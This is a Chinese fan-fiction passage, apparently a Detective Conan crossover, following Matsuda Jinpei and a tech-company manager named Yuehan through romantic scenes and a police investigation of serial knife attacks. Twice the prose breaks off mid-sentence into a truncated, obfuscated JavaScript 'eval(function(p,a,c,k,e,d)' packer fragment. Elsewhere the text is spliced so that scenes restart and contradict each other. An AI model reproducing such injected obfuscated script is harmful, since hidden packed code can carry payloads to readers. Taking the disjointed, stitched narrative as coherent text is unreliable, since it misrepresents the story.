半小时后,警车抵达星涵科技。松田阵平刚下车,就看到玥涵站在研发实验室的门口,眼神焦急地张望着。看到他安全回来,玥涵的眼中瞬间泛起泪光,快步跑了过去,紧紧抱住他:“你没事吧?有没有受伤?”松田阵平轻轻拍着她的背,感受着她身体的颤抖,心中满是心疼:“我没事,别担心。”他低头看着她泛红的眼眶,伸手擦掉她眼角的泪水,语气温柔,“让你担心了。” 众人走进星涵科技的保密会议室,诸伏景光将U盘插入电脑。屏幕上很快显示出加密的文件,陈默立刻开始解密。几分钟后,文件成功解密,里面是安室透传递的关键信息:黑衣组织已经察觉到内部有卧底的存在,近期正在进行大规模的排查,重点关注与警方有密切联系的人员和企业,下一步可能会对相关人员展开针对性的行动。 “看来,黑衣组织已经注意到我们了。”伊达航的眉头紧紧皱起,语气凝重,“我们必须尽快做好准备,加强对相关人员的保护,同时也要警惕黑衣组织的进一步行动。” 松田阵平牵着玥涵的手走出电梯,指尖的温度还带着一丝执行任务后的紧绷,掌心的薄汗将两人的皮肤黏在一起,却谁也没有松开。 “今天谢谢你。”松田阵平停下脚步,转身看着玥涵,路灯的光线勾勒出她柔和的侧脸,眼底还残留着一丝因担忧而起的泛红。他抬手,指腹轻轻蹭过她的眼角,动作温柔得像是在触碰易碎的珍宝,“如果不是你的预警和路线指引,我和景光今天恐怕很难顺利撤离。” 玥涵摇摇头,反手握住他的手,指尖轻轻摩挲着他虎口处因握枪而留下的红痕,声音带着一丝后怕:“我只是做了我能做的。倒是你们,在安全屋的时候,我看着监控里黑衣组织的人逼近,心脏都快跳出来了。”她顿了顿,抬头看向他的眼睛,认真地说,“以后执行任务,一定要优先保证自己的安全,不要让我担心。” 松田阵平心中一暖,将她揽入怀中,下巴抵在她的发顶,感受着她身体的轻微颤抖。安全屋那短短几十分钟的追击,他脑海里闪过的最多的画面,就是玥涵站在实验室里专注操作的模样。他不敢想象,如果自己出了什么事,她会有多难过。“我知道了。”他的声音低沉而坚定,带着一丝不易察觉的后怕,“以后我会更小心,绝不会再让你经历这种担惊受怕的时刻。” 回到玥涵的公寓楼下,松田阵平没有立刻离开,而是看着她上楼,直到公寓的灯光亮起,他才转身离开。但第二天一早,玥涵刚走到门口,就看到了熟悉的黑色轿车停在楼下,松田阵平靠在车旁,手里提着一份热气腾腾的早餐,看到她出来,立刻迎了上来。 “早。”松田阵平将早餐递给她,是她喜欢的三明治和热牛奶,“我在你家附近租了个公寓,以后每天都能送你上 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星涵科技的员工们渐渐习惯了这位经常出现的警察先生,私下里都笑着说,松田警官对玥涵总经理想必是用情至深。陈默更是每次看到两人一起出现,都会笑着打趣:“玥涵姐,松田警官,你们这简直是现实版的甜蜜爱情剧啊。”玥涵每次都会脸颊泛红,而松田阵平则会不动声色地将她护在身边,嘴角扬起一抹不易察觉的浅笑。 周五的晚上,玥涵提前处理完公司的工作,邀请松田阵平到她的公寓吃晚餐。她系着一条浅粉色的围裙,在厨房里忙碌着,洗菜、切菜的动作熟练而轻快。松田阵平靠在厨房门口,看着她忙碌的身影,阳光透过窗户洒进来,在她身上镀上一层温暖的光晕,让他紧绷了几天的神经彻底放松下来。 “需要帮忙吗?”松田阵平走进厨房,从身后轻轻抱住她,下巴抵在她的发顶,鼻尖萦绕着她身上淡淡的洗发水香味和饭菜的香气,心中满是安稳。玥涵转过身,笑着将一把剥好的蒜递给她:“帮我把这些蒜切成蒜末就好。”松田阵平接过蒜,拿起菜刀,笨拙地切了起来。他常年握枪的手,握菜刀时却显得有些生疏,切出来的蒜末大小不一,甚至还不小心切到了自己的指尖。 “哎呀,你怎么这么不小心。”玥涵立刻放下手中的菜,拉过他的手,看到指尖渗出的细小血珠,眼中满是心疼。她快步走到客厅,从抽屉里拿出创可贴,小心翼翼地为他包扎。“笨手笨脚的,”她嗔怪着,语气里却满是关切,“还是我来切吧,你去客厅等着。” 松田阵平看着她认真包扎的侧脸,嘴角上扬,握住她的手,轻轻摇了摇头:“没关系,一点小伤而已。我想帮你做点什么,不想让你一个人忙碌。”他顿了顿,眼神温柔地看着她,“能这样和你一起准备晚餐,感觉很幸福。”玥涵的脸颊微微泛红,心跳不由自主地加快,她低下头,继续为他包扎,声音细若蚊蚋:“那你小心一点。” 晚餐很快准备好了,四菜一汤摆在餐桌上,都是家常的菜式,却散发着诱人的香气。松田阵平主动拿起公筷,给玥涵夹了一块她喜欢的糖醋排骨:“尝尝这个,看好不好吃。”玥涵咬了一口,酸甜的口感在舌尖化开,味道恰到好处。她点了点头,笑着说:“很好吃,比外面餐馆做的还好吃。” 餐桌上的氛围温馨而甜蜜,两人一边品尝美食,一边聊着轻松的话题。松田阵平说起警视厅里的趣事,比如伊达航因为吃太多而被萩原研二调侃,引得玥涵哈哈大笑。玥涵则说起星涵科技的员工们最近的趣事,比如陈默因为熬夜研发而顶着两个黑眼圈上班。 吃到一半,松田阵平突然拿起一只虾,笨拙地剥了起来。他的手指有些僵硬,虾壳总是不听话地划破他的指尖,好不容易剥好一只,却不小心掉在了桌子上。玥涵看着他认真又笨拙的样子,忍不住笑了起来,伸手拿过他手中的虾:“还是我来剥吧,你这个样子,剥完一盘子虾,手指都要破了。” 松田阵平没有反驳,只是安静地看着她剥虾。玥涵的手指纤细而灵活,轻轻一挑,虾壳就被完整地剥了下来,露出雪白的虾肉。她将剥好的虾放进松田阵平的碗里,笑着说:“吃吧。”松田阵平拿起虾肉,放进嘴里,鲜香的味道在舌尖蔓延,心中更是充满了暖意。他看着玥涵认真剥虾的侧脸,突然开口:“玥涵,等这次的危机过去,我带你去京都看樱花吧。” 玥涵剥虾的动作顿了顿,抬头看向他,眼中满是惊喜:“真的吗?”她一直很想去京都看樱花,只是因为各种事情耽搁了。松田阵平点了点头,“当然是真的。我查过了,明年春天的樱花会开得很漂亮,我们可以在京都待上几天,好好放松一下。” 16. 第 16 章 玥涵睁开眼时,身边的位置已经微凉,空气中却残留着松田阵平身上淡淡的烟草味,混合着阳光的暖意,让人心安。厨房传来轻微的声响,她披了件外套走过去,就看到松田阵平系着她的浅粉色围裙,笨拙地煎着鸡蛋,煎锅边缘已经泛起一点焦黑。 “醒了?”松田阵平听到脚步声,回头看了她一眼,耳根微微泛红,“本来想做顿像样的早餐,好像搞砸了。”玥涵走过去,从他手中接过锅铲,动作熟练地调整火候:“你乖乖等着就好,这点小事还是我来。”她将煎糊的部分挑掉,重新打入一枚鸡蛋,金黄的蛋液在锅中慢慢凝固,香气很快弥漫开来。松田阵平靠在厨房门口,看着她忙碌的背影,眼中满是温柔,连日来因黑衣组织排查带来的紧绷,在此刻的烟火气中悄然消散。 早餐桌上,两人安静地吃着东西,偶尔交换一个眼神,默契无需多言。松田阵平将剥好的鸡蛋放进玥涵碗里:“今天警视厅有个专项会议,我可能要晚点回来。你去公司路上注意安全,有任何情况第一时间给我打电话。”玥涵点头,夹了一块三明治给他:“知道了,你也是。会议结束如果晚了,不用特意绕路来接我,我让陈默送我回去就好。” 松田阵平放下手中的餐具,握住她的手,指尖带着一丝微凉:“不行,现在情况特殊,我必须确认你安全到家。”他的眼神坚定,带着不容拒绝的执拗。玥涵心中一暖,没有再反驳,只是轻轻“嗯”了一声。这份藏在担忧里的守护,让她在危机四伏的氛围中,总能找到安稳的依托。 送玥涵到星涵科技楼下后,松田阵平驱车前往警视厅。刚驶入警视厅停车场,就看到几辆警车呼啸而至,红蓝交替的警灯在阴沉的天色下格外刺眼,空气中弥漫着一股压抑的气息。伊达航快步走过来,脸色凝重:“松田,出事了,搜查一课的山部警官在巡逻时被人袭击了,伤势很重,现在已经送医院抢救了。” 松田阵平的脸色瞬间沉了下来,快步跟着伊达航走进警视厅。走廊里挤满了神色慌张的警员,议论声此起彼伏,原本井然有序的办公区变得混乱不堪。“具体情况怎么样?”松田阵平问道,语气沉稳,试图压下心中的不安。“袭击发生在十分钟前,山部警官在米花公园附近巡逻,被人从背后袭击,凶器是一把锋利的匕首,直刺后心。”伊达航的声音低沉,“现场没有留下任何可疑痕迹,凶手应该是有备而来。” 警视厅的紧急会议室内,气氛压抑得让人喘不过气。警视总监坐在主位上,脸色铁青:“这已经是三天内发生的第二起袭击案了!前天,搜查一课的田中警官也在下班途中被袭击,现在还在重症监护室昏迷不醒。凶手的目标明确,就是我们警视厅的刑警,这是对我们警视厅的公然挑衅!” 会议室里一片寂静,只有窗外的风声呜咽作响。松田阵平的指尖无意识地敲击着桌面,脑海中快速闪过各种可能性。凶手的作案手法精准狠辣,而且能精准掌握刑警的巡逻路线和下班时间,绝不是普通的报复性袭击。“凶手很可能对警视厅的内部情况非常熟悉,”松田阵平打破沉默,语气凝重,“甚至可能是警视厅的内部人员,或者是与警视厅有密切联系的人。” 他的话让在场的警员们都心头一震。如果凶手真的是内部人员,那意味着他们身边处处都是危险,连最信任的同事都可能是致命的威胁。警视总监点了点头:“松田说得有道理。从现在开始,成立专项调查组,由松田、伊达负责,全力排查案件线索。同时,加强所有刑警的安保措施,尤其是搜查一课的成员,必须确保每个人的安全。” 会议结束后,松田阵平立刻给玥涵打了电话。玥涵接到电话时,正在和陈默调试新升级的安防系统,听到警视厅发生袭击案的消息,心中一紧:“你没事吧?有没有受到影响?”“我没事,”松田阵平的声音透过听筒传来,带着一丝疲惫,“但情况很棘手,这是连环袭击案,凶手目标明确,就是警视厅的刑警。我需要你帮我一个忙,用星涵科技的设备,协助我们分析案发现场的监控录像,排查嫌疑人信息。” “没问题,你把相关资料发给我,我立刻让技术团队开始分析。”玥涵毫不犹豫地答应下来,挂断电话后,立刻召集技术团队开会,“紧急任务,警视厅发生连环袭击案,需要我们协助分析监控录像和嫌疑人信息。陈默,你立刻对接警视厅,获取案发现场的相关资料;其他人,准备好智能分析系统,随时待命。” 不到半小时,警视厅的相关资料就传了过来。玥涵和技术团队立刻投入到紧张的工作中。星涵科技的智能分析系统快速运转,将案发现场周边的监控录像逐帧拆解分析,识别可疑人员的特征和行踪轨迹。玥涵的目光紧紧盯着屏幕,指尖在键盘上快速敲击,不放过任何一个细节。 “玥涵姐,发现异常。”陈默的声音带着一丝急促,将一段监控录像调了出来,“这是山部警官遇袭前的监控画面,画面里有一个穿着黑色连帽衫的身影,一直跟在山部警官身后,而且在山部警官进入米花公园后,这个身影也跟着进去了,十分钟后,这个身影快速离开,山部警官就被发现遇袭了。” 玥涵凑近屏幕,仔细观察着那个黑色连帽衫的身影。身影很高挑,动作灵活,刻意压低了帽檐,看不清面部特征,但从走路的姿态来看,应该是个男性。“把这个身影的行踪轨迹调出来,看看他在袭击前还出现在哪些地方。”玥涵说道。智能分析系统很快追踪到了黑色连帽衫身影的行踪轨迹,发现他在袭击山部警官之前,还出现在田中警官下班的必经之路上,而且时间就在田中警官遇袭前半小时。 “凶手是有预谋的连环袭击,而且提前踩点过。”玥涵的心中涌起一股寒意,“更重要的是,他能精准掌握两位警官的巡逻路线和下班时间,这说明他对警视厅的内部安排非常了解。”她立刻将分析结果发给松田阵平,同时补充道:“我会继续扩大监控排查范围,重点关注警视厅周边和搜查一课成员的居住地周边,争取找到更多线索。” 松田阵平收到分析结果后,立刻和伊达航展开排查。他们调取了两位遇袭警官的办案记录和人际关系,试图找到两者之间的共同点。就在这时,柯南突然出现在警视厅,手里拿着一个笔记本,神色严肃:“松田警官,伊达警官,我发现了一些线索。” “柯南?你怎么来了?这里很危险。”松田阵平皱了皱眉,有些担心。柯南却摇了摇头,将笔记本递过去:“我跟着毛利叔叔来案发现场查看,发现了一些奇怪的地方。这两位遇袭的警官,都曾参与过十年前的一起受贿案,而且是当时的主要办案人员。”他指着笔记本上的记录,条理清晰地说道,“我怀疑,凶手的作案动机,就是为了报复十年前受贿案的相关人员。” 松田阵平和伊达航对视一眼,都从对方眼中看到了惊讶。他们立刻调取了十年前的受贿案资料,发现柯南说得没错,两位遇袭的警官确实都参与了当年的案件。“如果真是这样,那接下来的目标,很可能就是其他参与当年受贿案的刑警。”伊达航的语气凝重,“我们必须立刻通知相关人员,加强安保措施。” 松田阵平的脑海中瞬间闪过一个名字——佐藤美和子。佐藤美和子的父亲当年也是十年前受贿案的办案人员之一,虽然已经去世,但佐藤美和子很可能会被凶手列为报复目标。他立刻拿起电话,拨通了佐藤美和子的号码:“佐藤,你现在在哪里?立刻找个安全的地方待着,不要轻易外出,凶手很可能会对你下手。” 电话那头的佐藤美和子愣了一下,随即语气坚定:“我知道了,松田。我现在正在外面执行任务,马上就返回警视厅。”松田阵平放下电话,心中依旧不安:“伊达,你立刻带人去接应佐藤,确保她的安全。我继续留在这里排查线索。” 夜幕渐渐降临,星涵科技的研发实验室里依旧灯火通明。玥涵和技术团队还在紧张地分析监控录像,扩大排查范围。松田阵平打来电话时,她的眼睛里已经布满了红血丝:“有什么新发现吗?”“柯南提供了一条重要线索,凶手可能是为了报复十年前的受贿案,”松田阵平的声音带着一丝疲惫,“我们已经锁定了一批潜在目标,其中包括佐藤。我已经让伊达去接应她了。” “我知道了,我会重点监控佐藤警官的行踪轨迹,一旦发现可疑人员,立刻通知你们。”玥涵说道,心中却隐隐不安。她突然想起系统之前的提示,这次的袭击案还会波及小兰,甚至让小兰失去记忆。这个念头让她的心瞬间沉了下去,她必须想办法阻止这一切发生。 松田阵平似乎察觉到了她的不安,轻声安慰道:“别担心,我们会加强安保措施,不会让任何人再受到伤害。我这边忙完就过去找你,陪你一起回家。”“好,”玥涵的声音带着一丝哽咽,“你一定要小心。” 深夜,松田阵平终于处理完手头的工作,赶到了星涵科技。玥涵靠在实验室的休息椅上,已经睡着了,脸上还带着一丝疲惫。松田阵平轻轻走过去,脱下自己的外套,披在她的身上。 玥涵在睡梦中似乎感受到了他的气息,轻轻蹙了蹙眉,然后缓缓睁开眼睛。看到松田阵平坐在身边,她心中一暖,靠在他的肩膀上:“忙完了?”“嗯,忙完了。”松田阵平轻轻拍着她的背,“我们回家吧。” 松田阵平难得不用加班,一早便带着玥涵来到街角的早餐店,点了她最爱的鲷鱼烧和热可可。玻璃窗上凝结着薄薄的水汽,将窗外的车水马龙晕染成模糊的光影,店内的暖气带着甜腻的香气,驱散了深秋的凉意。 “今天警视厅那边有伊达盯着,我陪你去涵味居看看分店的装修进度?”松田阵平将剥好的水煮蛋放进玥涵碗里,指尖蹭过她的手背,带着温热的触感。玥涵咬了一口鲷鱼烧,甜糯的红豆馅在舌尖化开,她点点头,眼中带着笑意:“好啊,刚好林晚说总店新出了几款甜点,我们看完装修可以去尝尝。” 两人吃完早餐,手牵手走在街道上。秋风卷起金黄的落叶,在脚边打着旋,松田阵平将玥涵的手揣进自己的口袋里取暖,指尖轻轻摩挲着她的掌心。路过一家花店时,他停下脚步,进去买了一束小巧的雏菊,白色的花瓣带着淡淡的清香,递到玥涵面前:“路边看到的,觉得很适合你。”玥涵接过花束,脸颊微微泛红,将花凑到鼻尖轻嗅,心中满是暖意。 就在两人准备前往涵味居时,玥涵的手机突然响了,是柯南打来的。电话接通的瞬间,柯南急促的声音伴随着嘈杂的背景音传来,带着难以掩饰的惊慌:“玥涵姐姐!不好了!小兰姐姐被袭击了!我们现在在米花游乐园,已经叫了救护车!” 玥涵的脸色瞬间变得惨白,手中的花束“啪嗒”一声掉在地上。松田阵平心中一沉,立刻握紧她的手,接过手机,语气沉稳却难掩急切:“柯南,具体情况怎么样?小兰有没有生命危险?凶手呢?”“救护车已经在路上了,小兰姐姐头部撞到了,流了很多血……”柯南的声音带着哭腔,“凶手袭击完就跑了,我没看清他的样子。” “我们马上过去!”松田阵平挂断电话,一把将玥涵揽进怀里,轻轻拍着她的背安抚,“别担心,我们现在就去游乐园,不会有事的。”玥涵的身体微微颤抖,脑海中闪过系统之前的提示——小兰会失去记忆。她用力点点头,跟着松田阵平快步走向停车场,心中默默祈祷着小兰能平安无事。 黑色轿车在街道上疾驰,松田阵平不断超车,车轮碾过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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抵达医院后,小兰被立刻推进了急诊室。众人在急诊室外的走廊里焦急地等待着,走廊里的灯光惨白,映得每个人的脸色都格外难看。柯南蹲在墙角,双手抱着膝盖,低声说:“都怪我,如果我能早点发现凶手,小兰姐姐就不会受伤了。” 玥涵走过去,轻轻摸了摸柯南的头,语气温柔:“柯南,这不是你的错。凶手太狡猾了,谁也没想到他会在游乐园动手。”松田阵平则走到走廊尽头,拨通了伊达航的电话,详细询问了现场勘察的情况。得知凶手没有留下任何有价值的线索,他的脸色更加凝重。 两个小时后,急诊室的门终于打开了。医生摘下口罩,神色疲惫地说:“病人暂时脱离生命危险了,但头部受到的撞击比较严重,可能会出现记忆丧失的情况,具体什么时候能恢复,还要看后续的恢复情况。” “记忆丧失?”毛利小五郎踉跄着后退了一步,不敢相信自己的耳朵,“医生,你说什么?小兰她……她不记得我们了?”妃英理也紧紧抓住医生的手臂,眼中满是急切:“医生,有没有什么办法能让她恢复记忆?”医生摇了摇头:“目前只能先让她好好休息,我们会尽力治疗的。” 小兰被转移到了普通病房。玥涵走进病房时,看到小兰躺在床上,脸色苍白得像一张纸,额头上缠着厚厚的纱布,眼睛紧闭着,眉头微微蹙起,似乎还在承受着疼痛。她轻轻走到床边,拉过小兰的手,指尖触到她微凉的皮肤,心中满是心疼。 过了一会儿,小兰缓缓睁开了眼睛。她的眼神空洞而茫然,扫过病房里的众人,眼中没有任何熟悉的神色。“你们是谁?”她的声音微弱而沙哑,带着一丝警惕。毛利小五郎听到她的声音,激动地走上前:“小兰,我是爸爸啊!你不认识我了吗?”小兰却猛地缩回手,害怕地看着他:“你别过来,我不认识你。” 妃英理的眼泪瞬间掉了下来,她强忍着悲伤,温柔地说:“小兰,我是妈妈,你还记得吗?我们之前还一起去吃你最喜欢的鳗鱼饭。”小兰摇了摇头,眼神依旧茫然。玥涵拿出手机,翻找出之前在涵味居和小兰的合照,递到她面前,轻声说:“小兰,我是玥涵,是你的朋友。我们之前还一起在涵味居吃过饭,你说我做的小笼包很好吃。” 小兰盯着照片看了很久,眉头紧紧皱起,努力地回忆着,却什么也想不起来。她轻轻摇了摇头,语气带着一丝无助:“我……我想不起来。这张照片,这个人,我都没有印象。”看着她茫然的眼神,玥涵的心中一阵酸楚,眼泪也忍不住涌了上来。 松田阵平走进病房,看到玥涵泛红的眼眶,心中满是心疼。他走到她身边,轻轻拍了拍她的肩膀,然后看向毛利小五郎和妃英理,语气沉稳:“毛利先生,妃律师,你们先别太着急。现在最重要的是让小兰好好休息,我们会尽快抓到凶手,说不定凶手落网后,小兰就能恢复记忆了。” “是啊,毛利叔叔,妃阿姨,”柯南也走上前,眼神坚定,“我一定会和松田警官他们一起,尽快找到凶手,帮小兰姐姐恢复记忆的。”毛利小五郎点了点头,擦了擦脸上的泪水:“好,拜托你们了。只要能让小兰恢复记忆,我做什么都愿意。” 松田阵平安排了两名警员在病房门口值守,然后带着玥涵走出了病房。走廊里,松田阵平将玥涵拥入怀中,轻轻拍着她的背:“别太难过了,小兰会好起来的。”玥涵靠在他的怀里,声音带着一丝哽咽:“我看到她茫然的样子,真的好心疼。如果我能早点察觉到凶手的动向,提前做好准备,她就不会受伤了。” “这不是你的错。”松田阵平的声音低沉而温柔,“凶手的目标很明确,而且非常狡猾,我们已经加强了安保措施,只是没想到他会选择在游乐园动手。”他抬起玥涵的下巴,轻轻擦掉她眼角的泪水,“相信我,我们一定会尽快抓到凶手的。另外,你也要注意自己的安全,这段时间我会寸步不离地陪着你。” 玥涵点了点头,握紧松田阵平的手:“我知道了。我会立刻让陈默升级星涵科技的安防系统,同时调动所有可用的监控设备,全方位监控医院周边的情况,绝不让凶手再有机会伤害小兰。”松田阵平眼中闪过一丝赞许:“好,我让伊达配合你们的工作,一旦发现可疑人员,立刻通知我们。” 17. 第 17 章 清晨的阳光透过医院的玻璃窗,落在小兰苍白的脸颊上,为她添了几分血色。玥涵坐在病床边,轻轻为小兰掖了掖被角,目光落在她额头上厚厚的纱布上,心中满是心疼。松田阵平站在窗边,低声和门口的警员交代着安保事宜,语气沉稳,目光却时不时飘向病床和玥涵的方向,带着难以掩饰的牵挂。 “玥涵姐姐,松田警官。”柯南背着书包走进病房,手里拿着一份早餐,“毛利叔叔去买小兰姐姐爱吃的粥了,让我先把这个带给你们。”他将早餐放在床头柜上,目光落在小兰身上,神色中带着一丝担忧,“小兰姐姐还是没什么反应吗?”玥涵轻轻摇了摇头:“医生说记忆恢复需要时间,急不来。” 松田阵平走过来,拿起一份三明治递给玥涵:“先吃点东西,你昨晚在公司盯了一夜监控,肯定累坏了。”玥涵接过三明治,咬了一口,却没什么胃口。她放下三明治,站起身:“我去趟星涵科技,用智能系统再梳理一下案件线索,或许能找到凶手的踪迹。”松田阵平点点头,眼中满是支持:“我陪你一起去,医院这边有警员值守,不会出问题。” 两人驱车前往星涵科技,车内的氛围安静而凝重。松田阵平握住玥涵的手,指尖轻轻摩挲着她的掌心:“别给自己太大压力,我们有足够的时间找到凶手。”玥涵靠在他的肩膀上,轻声说:“我只是想尽快抓到凶手,让小兰安心养伤,也让你不用再这么辛苦。”松田阵平心中一暖,将她的手攥得更紧了些:“能和你一起并肩作战,我不觉得辛苦。” 抵达星涵科技后,玥涵立刻召集技术团队,启动智能分析系统。她将所有遇袭警官的资料录入系统,包括他们的人际关系、办案记录、近期行踪等。“我们需要找出这些受害者之间的共同点,凶手的作案动机很可能就隐藏在其中。”玥涵的目光紧紧盯着屏幕,指尖在键盘上快速敲击,“系统,优先筛选十年内所有受害者共同参与办理的案件。” 智能分析系统快速运转,屏幕上的信息不断刷新。陈默站在玥涵身边,协助她筛选信息:“玥涵姐,已经筛选出了三十多起共同参与的案件,需要逐一排查吗?”“不用,”玥涵摇摇头,“重点排查有争议、涉及人员较多,或者案件当事人对处理结果不满意的案件。” 松田阵平坐在一旁,翻阅着警方整理的案件资料,时不时和玥涵交流几句。柯南则在实验室里来回踱步,小眉头紧紧皱起,脑海中不断回想案发现场的细节。突然,他像是想到了什么,猛地停下脚步,从书包里拿出一个笔记本,翻开其中一页,上面画着一枚特殊的徽章。 “松田警官,玥涵姐姐,你们看这个!”柯南快步跑到两人身边,将笔记本递过去,“这是我之前在山部警官遇袭的案发现场发现的,当时觉得这枚徽章很奇怪,就画了下来。”玥涵和松田阵平凑近笔记本,仔细观察着那枚徽章。徽章呈圆形,上面刻着一个复杂的图案,边缘还有一圈细小的文字。 “这个徽章……”松田阵平的眉头紧紧皱起,眼中闪过一丝疑惑,“我好像在哪里见过。”就在这时,智能分析系统发出了提示音,屏幕上显示出一条关键信息:“检测到所有受害者均参与过十年前的‘渡边集团受贿案’,案件当事人对处理结果不满,曾多次上诉未果。” 玥涵的目光瞬间亮了起来,她立刻在系统中搜索“渡边集团受贿案”的相关资料,很快就找到了案件的详细信息,其中一张涉案人员的合照中,每个人的胸前都佩戴着一枚徽章,正是柯南画下来的那枚!“找到了!”玥涵的声音带着一丝兴奋,“这枚徽章是十年前渡边集团的专属徽章,只有集团的核心成员和涉案人员才会佩戴!” 松田阵平的眼中也闪过一丝明悟:“这么说来,凶手很可能是十年前‘渡边集团受贿案’的受害者家属,因为不满案件的处理结果,才对参与办案的警察展开报复!”柯南点点头,语气肯定:“我觉得也是!凶手的作案目标非常明确,就是参与过这起案件的警察,小兰姐姐可能是因为无意中看到了凶手的真面目,才被凶手盯上的。” “立刻对十年前‘渡边集团受贿案’的受害者家属展开排查!”松田阵平立刻拿出手机,拨通了伊达航的电话,“伊达,立刻排查十年前渡边集团受贿案的受害者家属,重点关注近期有异常行踪、情绪激动的人员,凶手很可能就在其中。” “收到!我立刻安排人手排查!”伊达航的声音透过听筒传来,带着一丝急促。挂断电话后,松田阵平看向玥涵:“需要星涵科技的技术支持吗?”“当然需要,”玥涵点点头,立刻操作智能分析系统,“我会将十年前受贿案的受害者家属信息录入系统,通过人脸识别和行踪追踪,排查他们的近期动态,找出可疑人员。” 星涵科技的技术团队立刻投入到紧张的工作中,智能分析系统快速运转,对所有受害者家属的信息进行筛选和分析。玥涵的目光紧紧盯着屏幕,指尖在键盘上快速敲击,不放过任何一个细节。松田阵平则在一旁协助她,整理相关资料,偶尔提出自己的见解。柯南也没有闲着,坐在一旁翻阅着案件资料,时不时补充几句自己的发现。 时间一分一秒地过去,实验室里只有键盘敲击的声音和系统运行的轻微嗡鸣。中午时分,陈默的声音打破了实验室的安静:“玥涵姐,发现可疑人员!”他将一份资料调了出来,“这个人叫高桥健太,是十年前渡边集团受贿案主要涉案人员高桥明的儿子。高桥明因为受贿案被判入狱十年,去年因病去世,高桥健太曾多次在公开场合表示,要为父亲报仇,还曾威胁过当年参与办案的警察。” 玥涵立刻调取了高桥健太的详细信息和近期行踪。屏幕上显示,高桥健太今年三十五岁,无业,近期经常在警视厅周边和医院附近徘徊。“就是他了!”松田阵平的眼中闪过一丝锐利,“他的动机最充分,行踪也最可疑。”柯南凑近屏幕,仔细观察着高桥健太的照片,语气肯定:“我在案发现场附近好像见过这个人!当时他穿着黑色外套,戴着黑色帽子,低着头,看不清脸,但身形和照片上的这个人很像。” 玥涵立刻操控智能分析系统,调取医院周边的监控录像,重点排查高桥健太的身影。很快,系统就找到了相关的监控画面。屏幕上,一个穿着黑色外套、戴着黑色帽子的男子正在医院门口徘徊,时不时看向医院的病房楼,神色诡异。通过人脸识别技术,系统确认该男子正是高桥健太。 “不好!他现在就在医院门口,很可能想对小兰再次下手!”玥涵的心中一紧,立刻拿起手机,拨通了医院值守警员的电话,“注意!医院门口有一个穿着黑色外套、戴着黑色帽子的男子,名叫高桥健太,是连环袭击案的嫌疑人,立刻提高警惕,密切关注他的动向!” 挂断电话后,玥涵又拨通了松田阵平的电话:“阵平,高桥健太就在医院门口,我们现在立刻赶过去!”松田阵平的声音带着一丝急促:“我已经在路上了,你们也小心,不要轻易靠近他,等我到了再说。” 玥涵立刻带着陈默和柯南,快步赶往医院。路上,玥涵不断通过智能系统监控高桥健太的动向,实时向松田阵平和医院的警员传递信息。“高桥健太还在医院门口徘徊,没有进入医院。”玥涵的声音带着一丝紧张,“他好像在观察医院的安保情况,可能在寻找下手的机会。” 松田阵平的声音很快传来:“我还有五分钟就到医院,让警员不要打草惊蛇,暗中监视他的动向,等我到了再实施抓捕。”“明白!”玥涵点点头,继续通过系统监控高桥健太。她的心跳得飞快,心中满是担忧,既担心小兰的安全,也担心松田阵平在抓捕过程中遇到危险。 抵达医院附近后,玥涵带着陈默和柯南躲在不远处的街角,通过系统实时监控高桥健太的动向。高桥健太似乎察觉到了什么,转身走进了医院旁边的一条小巷。“他要跑!”玥涵的声音带着一丝急促,立刻将这个消息告诉了松田阵平。 松田阵平的声音带着一丝坚定:“我已经看到他了,正在追过去!你们在原地等着,不要过来!”玥涵紧紧攥着手机,目光紧紧盯着屏幕上高桥健太的行踪轨迹,心中默默祈祷着松田阵平能平安无事。柯南也紧张地握着拳头,小脸上满是担忧。 屏幕上,高桥健太在小巷里快速奔跑,松田阵平紧随其后。小巷狭窄而曲折,两侧是高高的围墙,只容一人通行。松田阵平凭借着敏捷的身手,不断拉近与高桥健太的距离。就在这时,高桥健太突然转身,从口袋里拿出一把锋利的匕首,眼神凶狠地看着松田阵平:“别过来!再过来我就不客气了!” 松田阵平停下脚步,眼神锐利地盯着高桥健太,语气沉稳:“高桥健太,你已经被包围了,立刻放下武器投降!” 玥涵坐在小兰病房外的长椅上,指尖划过手机屏幕,实时查看医院周边的监控画面。松田阵平刚结束与伊达航的排查部署,端着一杯热可可走过来,轻轻放在她手边:“监控没发现异常吧?” 玥涵抬头,接过热可可暖手,鼻尖萦绕着浓郁的奶香:“暂时没有,高桥健太还在医院门口徘徊,看起来在寻找下手的机会。”她看向松田阵平略带疲惫的脸,伸手抚平他眉间的褶皱,“你要不要先歇会儿?这里有我盯着,有情况会第一时间通知你。” 松田阵平在她身边坐下,将她的手攥进自己掌心取暖,指尖摩挲着她微凉的皮肤:“不用,我陪着你。”他转头看向病房门,声音放轻,“小兰现在情况特殊,我们不能有任何松懈。”两人并肩坐着,阳光将他们的影子拉得很长,空气中弥漫着淡淡的担忧,却也有着相守相伴的安稳。 就在这时,玥涵的手机突然发出急促的震动,监控画面上,高桥健太突然转身,快步冲向医院的地下车库入口。“不好!他要跑!”玥涵的声音瞬间绷紧,立刻起身。松田阵平也猛地站起来,掏出对讲机:“伊达,嫌疑人往地下车库跑了,立刻带人过来支援!” 两人快步冲向地下车库,电梯下行的几十秒里,玥涵的心跳得飞快,她紧紧握着松田阵平的手,指尖冰凉。“别担心,我们一定能抓住他。”松田阵平握紧她的手,语气沉稳,却难掩眼中的锐利。电梯门刚打开,就听到地下车库传来杂乱的脚步声和柯南的呼喊声:“松田警官!玥涵姐姐!这边!” 两人循声望去,只见柯南正拉着刚从病房出来透气的小兰,躲在一辆白色轿车后面,神色慌张。高桥健太站在不远处,背对着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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玥涵站在原地,看着松田阵平流血的手臂,心中焦急万分。她突然想起星涵科技在医院地下车库部署的智能安防系统,立刻拿出手机,指尖在屏幕上快速敲击,连接上车库的通风系统。“陈默,立刻启动地下车库通风系统的麻醉气体释放功能,浓度调至最低,干扰嫌疑人的动作即可!” “收到!正在启动!”陈默的声音透过手机传来。几秒钟后,地下车库的通风口缓缓释放出淡淡的白色雾气,带着轻微的麻醉效果。高桥健太吸入雾气后,动作明显变得迟缓起来,眼神也有些涣散,挥舞匕首的力度也减弱了不少。 